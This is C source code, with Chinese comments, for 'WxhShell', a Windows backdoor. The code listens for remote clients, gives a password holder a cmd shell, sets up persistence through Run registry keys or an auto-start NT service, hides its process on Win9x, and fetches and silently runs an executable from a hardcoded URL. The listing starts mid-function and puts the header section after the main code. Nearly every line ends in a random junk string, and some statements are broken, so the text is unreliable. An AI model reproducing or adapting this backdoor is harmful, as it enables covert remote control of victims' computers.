    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fW,,@2P  
    else { b& l/)DU  
    closesocket(wsh); &%ZiI@O-  
    ExitThread(0); *XCid_{(  
    } o?Wp[{K  
    break; @4'bI)  
    } %L\buwjy$  
  // 获取shell "XU M$:D  
  case 's': { 5yHarC  
    CmdShell(wsh); >brf7h  
    closesocket(wsh); Ev R6^n/  
    ExitThread(0); @"\j]ZEnY  
    break; `Z}7G@ol  
  } pnvHh0ck_  
  // 退出 )<kI d4E  
  case 'x': { 0M'[|ci d|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VGVZ`|  
    CloseIt(wsh); [CBhipoc  
    break; QBNnvg4v  
    } b~1]}9TJ  
  // 离开 } +@H&}u  
  case 'q': { [`_ZlC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JMUk=p<\  
    closesocket(wsh); B4<W%lm  
    WSACleanup(); '>}dqp{Wr  
    exit(1); [&Z3+/lR*  
    break; #DN5S#Ic  
        } {x+"Ru~7,  
  } Q UQ"2oC  
  } 4TBK:Vm5  
{G+pI2^  
  // 提示信息 rT2gX^Mj&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z=B6fu*  
} fcuU,A  
  } VPKoBJ&  
Nvlfi8.  
  return; fVU9?^0/)9  
} wz,T7L  
*q?-M"K  
// shell模块句柄 HywT  
int CmdShell(SOCKET sock) nZfU:N  
{ <*g!R!  
STARTUPINFO si; b;N[_2  
ZeroMemory(&si,sizeof(si)); k k&8:;Vj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g=*`6@_=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _:: q S!  
PROCESS_INFORMATION ProcessInfo; rc*iL   
char cmdline[]="cmd"; 1|?8g2Vf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h"7:&=e  
  return 0; aX oD{zA  
} tA?cHDp4E  
>d`XR"_e  
// 自身启动模式 hr T_0FZV  
int StartFromService(void) yU-^w^4  
{ |NbF3 fD  
typedef struct "funFvY  
{ 8$|< `:~J  
  DWORD ExitStatus; WMo   
  DWORD PebBaseAddress; YpAJ7 E|7  
  DWORD AffinityMask; & *^FBJEa.  
  DWORD BasePriority; ]vyu!  
  ULONG UniqueProcessId; X `[P11`  
  ULONG InheritedFromUniqueProcessId; JQ>GKu~  
}   PROCESS_BASIC_INFORMATION; U5 `h  
GAZTCkB"  
PROCNTQSIP NtQueryInformationProcess; [3yzVcr~4  
4k HFfc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ad\?@>[ I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2 kOFyD  
-:hiLZJ7-  
  HANDLE             hProcess; ,&DK*LT8U  
  PROCESS_BASIC_INFORMATION pbi; wkn r^A  
')d&:K*M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NF}QQwG3  
  if(NULL == hInst ) return 0; $[L8UUHY<8  
$`2rtF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fZ9EE3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )JO#Z(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ArFsr  
Kk}|[\fW  
  if (!NtQueryInformationProcess) return 0; m3apeIEi[  
h\oAW?^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kQ,#NR/q6  
  if(!hProcess) return 0; }!5x1F!  
B!`Dj,_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zu4|1 W  
L|y4u;-Q  
  CloseHandle(hProcess); F{:ZHCm  
0XrB+nt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ub0hISA  
if(hProcess==NULL) return 0; !)jw o=l}J  
W+A-<Rh\  
HMODULE hMod; m;=wQYFr{I  
char procName[255]; O'6zV"<P  
unsigned long cbNeeded; =!axQ[)A  
thoAEG80  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ")/TbT Vu  
hX-([o  
  CloseHandle(hProcess); vv2N;/;I  
y_^w|  
if(strstr(procName,"services")) return 1; // 以服务启动 ^i"C%8  
9,?\hBEu  
  return 0; // 注册表启动 Lx{bR=  
} KGMX >t'  
`y&d  
// 主模块 ]=s!cfu  
int StartWxhshell(LPSTR lpCmdLine) o/EN3J  
{ GM.2bA(y  
  SOCKET wsl; h8b*=oq  
BOOL val=TRUE; s6#@S4^=\  
  int port=0; ZS&n,<a5L}  
  struct sockaddr_in door; -=W"  
dXkgWLI~  
  if(wscfg.ws_autoins) Install(); | HkLl^  
M*DFtp<  
port=atoi(lpCmdLine); x=+R0ny  
oYYns%r}{  
if(port<=0) port=wscfg.ws_port; _xg4;W6M=  
}pE8G#O&  
  WSADATA data; \htL\m^$9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q|E0Y   
 R^%uEP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *cjH]MQ0Ak  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e ~X<+3<  
  door.sin_family = AF_INET; 5^Gv!XW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OH.Re6Rr  
  door.sin_port = htons(port); Bg^k~NX%  
zeqP:goy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IrJPP2Q  
closesocket(wsl); pUvbIbg+  
return 1; Qg)=4(<Hr  
} CYr2~0<g  
G1; .\i  
  if(listen(wsl,2) == INVALID_SOCKET) { S(7_\8 h  
closesocket(wsl); b&LfL$  
return 1; I91pX<NBf  
} ;Nw.  
  Wxhshell(wsl); -Jo8jE~>V  
  WSACleanup(); -IBf;"8f  
Sm(QgZO[4  
return 0; 9Fe(],AzF  
M`W%nvEDE  
} (S :+#v  
traJub  
// 以NT服务方式启动 oo{5 :  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \z}/=Qgc  
{ {x{/{{wzv  
DWORD   status = 0; Yp8~wdm  
  DWORD   specificError = 0xfffffff; /h4 ::,  
btq`[gAF\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KFCL|9P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cz8%p;F:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m6%csh-N1  
  serviceStatus.dwWin32ExitCode     = 0;  `O-LM e  
  serviceStatus.dwServiceSpecificExitCode = 0; F{1;~Yg%  
  serviceStatus.dwCheckPoint       = 0;  P]bq9!{1  
  serviceStatus.dwWaitHint       = 0; V\ ud4  
+39Vxe:Oy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -Yaw>$nJ  
  if (hServiceStatusHandle==0) return; x+V;UD=mH  
a:C'N4K  
status = GetLastError(); _":yUa0D  
  if (status!=NO_ERROR) 'qTMY*  
{ j1!P:(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b8V]/  
    serviceStatus.dwCheckPoint       = 0; :Zy7h7P,lT  
    serviceStatus.dwWaitHint       = 0; -+1it  
    serviceStatus.dwWin32ExitCode     = status; ^*7~ Wxk5  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nw'3gJ:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j@0/\:1(U  
    return; \`w!v,aM$  
  } X-oHQu5  
#;bpxz1lR9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *}9i@DP1,  
  serviceStatus.dwCheckPoint       = 0; q&IO9/[dk  
  serviceStatus.dwWaitHint       = 0; LEM{$Fxo&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K)2ZH@  
} :@PM+[B|Q  
ICNS+KsI  
// 处理NT服务事件,比如:启动、停止 55vpnRM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '1)BZ!  
{ @`:n+r5u  
switch(fdwControl) _VU/j9<+  
{ gf]biE"k  
case SERVICE_CONTROL_STOP: WA-` *m$v  
  serviceStatus.dwWin32ExitCode = 0; 5YJn<XEc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L[zg2y  
  serviceStatus.dwCheckPoint   = 0; eSZS`(#!(  
  serviceStatus.dwWaitHint     = 0; QK0  
  { &tFVW[(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQ65QJtt0A  
  } ; 6Wlu3I  
  return; P5;LM9W  
case SERVICE_CONTROL_PAUSE: W11Wv&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sIuk  
  break; ;!4Bw"Gg  
case SERVICE_CONTROL_CONTINUE: p*10u@,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qC9$xIWq  
  break; 6KiI3%y?0  
case SERVICE_CONTROL_INTERROGATE: Xtqjx@ye  
  break; T ,, Ao36  
}; DPvM|n`TW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJ6=T6s  
} !UE' AB  
D_GIj$%N[  
// 标准应用程序主函数 gWp\?La  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hWK}] gF  
{ cq'opjLf5  
0N3 cC4!  
// 获取操作系统版本 vjG: 1|*e  
OsIsNt=GetOsVer(); Hz$l)g}U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \1 4"Bgj1  
!Gu,X'#Ab  
  // 从命令行安装 u49zc9  
  if(strpbrk(lpCmdLine,"iI")) Install(); tE0DST/  
&x{CC@g/  
  // 下载执行文件 nu,#y"WQ  
if(wscfg.ws_downexe) { qO=_i d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #n^P[Zw  
  WinExec(wscfg.ws_filenam,SW_HIDE); -bHQy:  
} YmM+x=G:  
VOBzB]  
if(!OsIsNt) { :ho)3kB  
// 如果时win9x,隐藏进程并且设置为注册表启动 @sly-2{e1  
HideProc(); D'aq^T'  
StartWxhshell(lpCmdLine); X>mY`$!/  
} P  F!S  
else y@[}FgVOh  
  if(StartFromService()) .$+]N[-=  
  // 以服务方式启动 ZCi~4&Z#  
  StartServiceCtrlDispatcher(DispatchTable); E6n3[Z  
else u-Pa:wm0-  
  // 普通方式启动 o.t$hv|  
  StartWxhshell(lpCmdLine); O"4Q=~Y  
^yUel.N5"  
return 0; l%*KBME  
} ryzz!0l  
c0]^V>}cl  
7N"$~UfC  
; >3q@9\D  
=========================================== i(9=` A}  
e&f9/rfx  
~lMw*Qw^  
"bAkS}(hB(  
43pQFDWa  
m xtLcG4G  
" Z%~j)  
LRBcW;.Su  
#include <stdio.h> #|fa/kb~  
#include <string.h> vCT5do"C&  
#include <windows.h> fk)ts,p?  
#include <winsock2.h> ?Y2ZqI  
#include <winsvc.h> ~vnG^y>%  
#include <urlmon.h> e2Sm.H '  
 5k.NZ  
#pragma comment (lib, "Ws2_32.lib") eRQ}`DjTk  
#pragma comment (lib, "urlmon.lib") 7 Xe|P1@)  
0 Vv 6B2<  
#define MAX_USER   100 // 最大客户端连接数 vlth\ [  
#define BUF_SOCK   200 // sock buffer x\r7q  
#define KEY_BUFF   255 // 输入 buffer 2?ac\c6"  
]Mi ~vG q  
#define REBOOT     0   // 重启 ?P[uf  
#define SHUTDOWN   1   // 关机 _f$8{&`k  
5Jq~EB{"  
#define DEF_PORT   5000 // 监听端口 i rMZLc6  
w#eD5y~'oo  
#define REG_LEN     16   // 注册表键长度 2yR*<yj  
#define SVC_LEN     80   // NT服务名长度 ZzLmsTtzIu  
L+Yn}"gIs  
// 从dll定义API ]kq{9b';  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a'f"Zdh%w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mdvooJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LziEF-_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;T~]|#T\6  
^Bn)a"Gd  
// wxhshell配置信息 }$3eRu +  
struct WSCFG { K^`3Bg  
  int ws_port;         // 监听端口 j?%^N\9  
  char ws_passstr[REG_LEN]; // 口令 C4],7"Sw  
  int ws_autoins;       // 安装标记, 1=yes 0=no BL<.u  
  char ws_regname[REG_LEN]; // 注册表键名 Pcut#8?  
  char ws_svcname[REG_LEN]; // 服务名 <y=VDb/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `,d*>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X=_pQ+j`^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wEENN_w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 02:]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A,i.1U"w8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "Wr5:T-;  
c4ptY5R),  
}; $A"kHS7T  
?D-1xnxep  
// default Wxhshell configuration duB{ 1  
struct WSCFG wscfg={DEF_PORT, BJ!b LQ  
    "xuhuanlingzhe", ?|'+5$  
    1, GVk&n"9kp  
    "Wxhshell", :@)UI,  
    "Wxhshell", SA&0f&07i  
            "WxhShell Service", F>Rz}-Fy  
    "Wrsky Windows CmdShell Service", km2('t7?  
    "Please Input Your Password: ", ;LE4U OK  
  1, } r$&"wYM  
  "http://www.wrsky.com/wxhshell.exe", q65KxOf`  
  "Wxhshell.exe" $E3- </ f  
    }; 0UZ>y/ C)=  
fyPpzA0  
// 消息定义模块 ^I03PIy0l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Z]~c^UB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o&P}GcEIw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \Km!#:  
char *msg_ws_ext="\n\rExit."; e5KsKzu a  
char *msg_ws_end="\n\rQuit."; $X8(OS5d'  
char *msg_ws_boot="\n\rReboot..."; ,#[0As29u  
char *msg_ws_poff="\n\rShutdown..."; '^ bB+  
char *msg_ws_down="\n\rSave to "; t!Q uM_i3  
jY%&G#4  
char *msg_ws_err="\n\rErr!"; 1oD,E!+^d  
char *msg_ws_ok="\n\rOK!"; dfY(5Wc+f  
GL$!JKWp  
char ExeFile[MAX_PATH]; c7 Sa|9*dR  
int nUser = 0; b/'{6zn  
HANDLE handles[MAX_USER]; 3~Od2nk(x  
int OsIsNt; uc!j`G*]  
V(_OyxeC{2  
SERVICE_STATUS       serviceStatus; `s5<PCq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X.hU23w  
:)VO,b~r  
// 函数声明 lxb+0fiN  
int Install(void); e5G)83[=  
int Uninstall(void); yG\^PD  
int DownloadFile(char *sURL, SOCKET wsh); )9F-h8 &"  
int Boot(int flag); 6yk=4l\  
void HideProc(void); 51j5AbFQ"  
int GetOsVer(void); LVKvPi  
int Wxhshell(SOCKET wsl); 4k/B=%l  
void TalkWithClient(void *cs); [xzgk [>5  
int CmdShell(SOCKET sock); \J[m4tw^  
int StartFromService(void); !.1oW(  
int StartWxhshell(LPSTR lpCmdLine); ^Pl(V@  
c} )U:?6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #\s*>Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .[&0FHnJ5  
ap=m5h27  
// 数据结构和表定义 2 Ya)I k{  
SERVICE_TABLE_ENTRY DispatchTable[] = MuXp*s3[  
{ O O?e8OU  
{wscfg.ws_svcname, NTServiceMain}, FsQeyh>  
{NULL, NULL} ,5oe8\uz  
}; "1 O!Ck_n  
%@tKcQ  
// 自我安装 O ]o7  
int Install(void) MB.\G.bV  
{ &_Kb;UVRj  
  char svExeFile[MAX_PATH]; ]-[M&i=+&  
  HKEY key; :5Vk+s]8  
  strcpy(svExeFile,ExeFile);  [U9b_`  
Pyh+HD\  
// 如果是win9x系统,修改注册表设为自启动 0VsQ$4'V^  
if(!OsIsNt) { ?>c*[>LpZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x` T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]<b$k  
  RegCloseKey(key); Uytq,3Gj6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sd4eJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X`#,*HkK  
  RegCloseKey(key); oSVo~F  
  return 0; Gl8D GELl;  
    } nOq?Q  
  } PL$*)#S"$  
} 8B#;ffkmN  
else { tLCu7%P>  
O~ a`T  
// 如果是NT以上系统,安装为系统服务 qLrvKoEX2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &"H xAK)f  
if (schSCManager!=0) O/g|E47  
{ p3tu_If  
  SC_HANDLE schService = CreateService hOYm =r  
  ( ?bFP'.  
  schSCManager, cUW>`F( S  
  wscfg.ws_svcname, _)|_KQQu  
  wscfg.ws_svcdisp, BGM5pc (ei  
  SERVICE_ALL_ACCESS, 1Q_  C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?88k`T'EI  
  SERVICE_AUTO_START, +;z^qn  
  SERVICE_ERROR_NORMAL, W P7RX|7  
  svExeFile, ;R[  xo!  
  NULL, 1 & G0;  
  NULL, |OW/-&)  
  NULL, }/tT=G]91  
  NULL, 337y,;  
  NULL eC%uu  
  ); =5:L#` .  
  if (schService!=0) z4t.- 9(C  
  { $t*>A+J  
  CloseServiceHandle(schService); |-Rg].  
  CloseServiceHandle(schSCManager); =$bJ`GpJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fP 1V1ao  
  strcat(svExeFile,wscfg.ws_svcname); h>ZNPP8N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oi#4|*b{W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  )ph**g  
  RegCloseKey(key); L1J \ C  
  return 0; /V'^$enK!}  
    } U@t" o3E  
  } Xjb 4dip  
  CloseServiceHandle(schSCManager); 8yW8F26  
} wyzx9`5~d  
} /<[S> ;!kr  
&6]+a4  
return 1; '?| (QU:)F  
} ?:StFlie  
9Z?P/ o  
// 自我卸载 M:t!g %  
int Uninstall(void) l^`& Tnzv  
{ `Fn"%P!  
  HKEY key; Q` ?+w+y7  
'iQ  
if(!OsIsNt) { &d,chb (  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~nit~ ;  
  RegDeleteValue(key,wscfg.ws_regname); `As| MYv  
  RegCloseKey(key); D$ X9xtT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :LE0_ .  
  RegDeleteValue(key,wscfg.ws_regname); lKVy{X 3]*  
  RegCloseKey(key); j@chSk"K  
  return 0; ~kDR9s7  
  } '8%pEl^  
} +Dvdv<+  
} 2Y~UeJ_\Lq  
else { ^b{-y  
Kmy'z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P9d%80(b4  
if (schSCManager!=0) mM`zA%=  
{ n oWjZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }E o\=>l7  
  if (schService!=0) PK&3nXF%4  
  { C\-Abq c  
  if(DeleteService(schService)!=0) { FEOr'H<3x  
  CloseServiceHandle(schService); L >* F8|g  
  CloseServiceHandle(schSCManager); +SM&_b  
  return 0; 9gu$vF]9!  
  } |X}H&wBWo  
  CloseServiceHandle(schService); j[E8C$lW  
  } [cJQ"G '  
  CloseServiceHandle(schSCManager); U2Uf69R  
} 7CKpt.Sz6  
} cZ8lRVaWW  
0P MF)';R  
return 1; ~* R:UTBtw  
} s,5SWdb\v  
 (~59}lu~  
// 从指定url下载文件 :S['hBMN  
int DownloadFile(char *sURL, SOCKET wsh) ioIOyj  
{ Drn{ucIs  
  HRESULT hr; Kmk}Yz  
char seps[]= "/"; Z`_`^ \"  
char *token; 8}B*a;d  
char *file; R,Gr{"H  
char myURL[MAX_PATH]; 8S8^sP  
char myFILE[MAX_PATH]; C(w?`]Qs  
R,3E_me"}  
strcpy(myURL,sURL); iCz0T,  
  token=strtok(myURL,seps); nqp:nw  
  while(token!=NULL) /mdPYV  
  { jCJbmEfo9@  
    file=token; <5 Ye')+  
  token=strtok(NULL,seps); os :/-A_m  
  } ]^f7s36  
[ H~Yg2O  
GetCurrentDirectory(MAX_PATH,myFILE); g Kp5*  
strcat(myFILE, "\\"); S%NS7$`a  
strcat(myFILE, file); M-#OPj*  
  send(wsh,myFILE,strlen(myFILE),0); Lg;b17  
send(wsh,"...",3,0); y15 MWZ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [>P9_zID  
  if(hr==S_OK) $A4rdhvd  
return 0; jb~W(8cj  
else L&gC  
return 1; NZu\ Ae  
`&3hfiI}  
} T9s$IS,  
 9S<87sO  
// 系统电源模块 FJ/>=2^B  
int Boot(int flag) Z$UPLg3=;_  
{ bCV3h3<  
  HANDLE hToken; \+?>KpE,b  
  TOKEN_PRIVILEGES tkp; ZsgJ6 Y  
( M > C  
  if(OsIsNt) { S1Z~-i*w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dkHye>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .Lwp`{F/  
    tkp.PrivilegeCount = 1; .J/x@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kiah,7V/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z;c~(o@4  
if(flag==REBOOT) { 7o+JQ&fF;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;~A-32;Y4  
  return 0; Fwu:x.(  
}  0 |/:m  
else { |b BA0.yS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r8R]0\  
  return 0;  |UudP?E  
} $0kuR!U.N  
  } qdM=}lbc  
  else { gs xT  
if(flag==REBOOT) { 5l(8{,NDt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X0QY:?  
  return 0; !!{!T;)l  
} f1Z  
else { /~8<;N>,+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %^`b)   
  return 0; ^~p^N <  
} {6y@;Fd  
} wqB 5KxO  
3Y;<Q>roT  
return 1; 9_$i.@L 1  
} T%[&[8{8  
yLC5S3^1\"  
// win9x进程隐藏模块 bOB<m4  
void HideProc(void) 1WTDF  
{ eX{:&Do  
sI/]pgt2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \zdY$3z  
  if ( hKernel != NULL ) _`oP*g =  
  { rXIFCt8J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k=nN#SMn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *y}<7R  
    FreeLibrary(hKernel); $] gwaJ:  
  } 3d1$w  
@4O;dFOQ)  
return; ZaNZUVBh  
} kVqRl%/3Tb  
~x(1g;!^  
// 获取操作系统版本 p aQ"[w  
int GetOsVer(void) b}f#[* Z  
{ #`g..3ey  
  OSVERSIONINFO winfo; +zl2| '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Yv)%2  
  GetVersionEx(&winfo); "X[sW%# F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Ezx'h3Q  
  return 1; 2\b 2W_  
  else i[+cNJ|$B0  
  return 0; B#A .-nb  
} #"T< mM7  
Np.] W(  
// 客户端句柄模块 @5[9iY  
int Wxhshell(SOCKET wsl) Tc3~~X   
{ nEG+TRZ)\  
  SOCKET wsh; 0\y{/P?I$  
  struct sockaddr_in client; fQ[& ^S$  
  DWORD myID; [|vE*&:uO  
y^iju(  
  while(nUser<MAX_USER) LH@xr\^  
{ Z$X[x7e.  
  int nSize=sizeof(client); 'Nqa=_<WW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >u-6,[(5X*  
  if(wsh==INVALID_SOCKET) return 1; K> rZJ[a  
P3W<a4 ==  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^zfO=XN  
if(handles[nUser]==0) Uo~-^w}  
  closesocket(wsh); q n6ws  
else L@&(>  
  nUser++; %k"qpu  
  } 3IlflXb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rw|;?a0  
=JR6-A1>  
  return 0; 5PRS|R7  
} >RTmfV  
7GFE5>H  
// 关闭 socket Jc3Z1Tt  
void CloseIt(SOCKET wsh) hoDE*>i  
{ +H4H$H  
closesocket(wsh); NDqvt$  
nUser--; j "^V?e5  
ExitThread(0); 2!Gb4V  
} O^2@9 w  
/uNgftj  
// 客户端请求句柄 W5f|#{&L:  
void TalkWithClient(void *cs) ~vGX(8N  
{ T'K6Q cu  
.boBo$f  
  SOCKET wsh=(SOCKET)cs; 6^Q/D7U;s  
  char pwd[SVC_LEN]; rgK:ujzW!  
  char cmd[KEY_BUFF]; `"-ln'nw  
char chr[1]; \ y^Ho1Fj  
int i,j; p$:ERI  
SKUri  
  while (nUser < MAX_USER) { \-h%z%{R  
MT3TWWtZ:  
if(wscfg.ws_passstr) { Mx]![O.ye  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G9|w o)N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .^F(&c*['  
  //ZeroMemory(pwd,KEY_BUFF); A><q-`bw  
      i=0; l$\OSG  
  while(i<SVC_LEN) { P{gGvC,  
B(zcoWQ*B  
  // 设置超时 g,YJh(|#{  
  fd_set FdRead; T`7HQf ;  
  struct timeval TimeOut; oRALhaI  
  FD_ZERO(&FdRead); 70MSP;^  
  FD_SET(wsh,&FdRead); ?6#F9\  
  TimeOut.tv_sec=8; ~CRd0T[^  
  TimeOut.tv_usec=0; PL}c1Ud  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j} .,|7X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }}Kj b  
P\nz;}nv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h;lg^zlTb  
  pwd=chr[0]; "{@Q..hxC  
  if(chr[0]==0xd || chr[0]==0xa) { ) u(Gf*t  
  pwd=0; [d3i _^\  
  break; nl\l7/}6  
  } je[1>\3W  
  i++; e*Gt%'  
    } GI ;  
xis],.N  
  // 如果是非法用户,关闭 socket })#SjFq<V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iL6Yk @  
} ,P.yl~'Al  
$-Yq?:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q-lejVS(g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6`JY:~V"  
Ob~7r*q  
while(1) { bZKlQ<sI  
6]D%|R,Q#}  
  ZeroMemory(cmd,KEY_BUFF); h@H8oZ[  
qtI42u{  
      // 自动支持客户端 telnet标准   ~TvKMW6/#  
  j=0; er44s^$  
  while(j<KEY_BUFF) { cOz/zD f5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7+Z%#G~T  
  cmd[j]=chr[0]; g)M"Cx.  
  if(chr[0]==0xa || chr[0]==0xd) { ]aDU*tk  
  cmd[j]=0; ?\.DG`Zxc  
  break; R?E< }\!  
  } Xk]:]pl4W  
  j++; /]@1IC{Lk  
    } Q/2(qD; u  
"pa2,-&  
  // 下载文件 4Y/kf%]]A  
  if(strstr(cmd,"http://")) { AW')*{/(Ii  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fo:60)Lr  
  if(DownloadFile(cmd,wsh)) ` v"p""_H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5IJm_oy  
  else 4b/>ZHFOF;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.g2>r`NU  
  } f$|AU- |<  
  else { qZwqnH  
t"Tv(W?_  
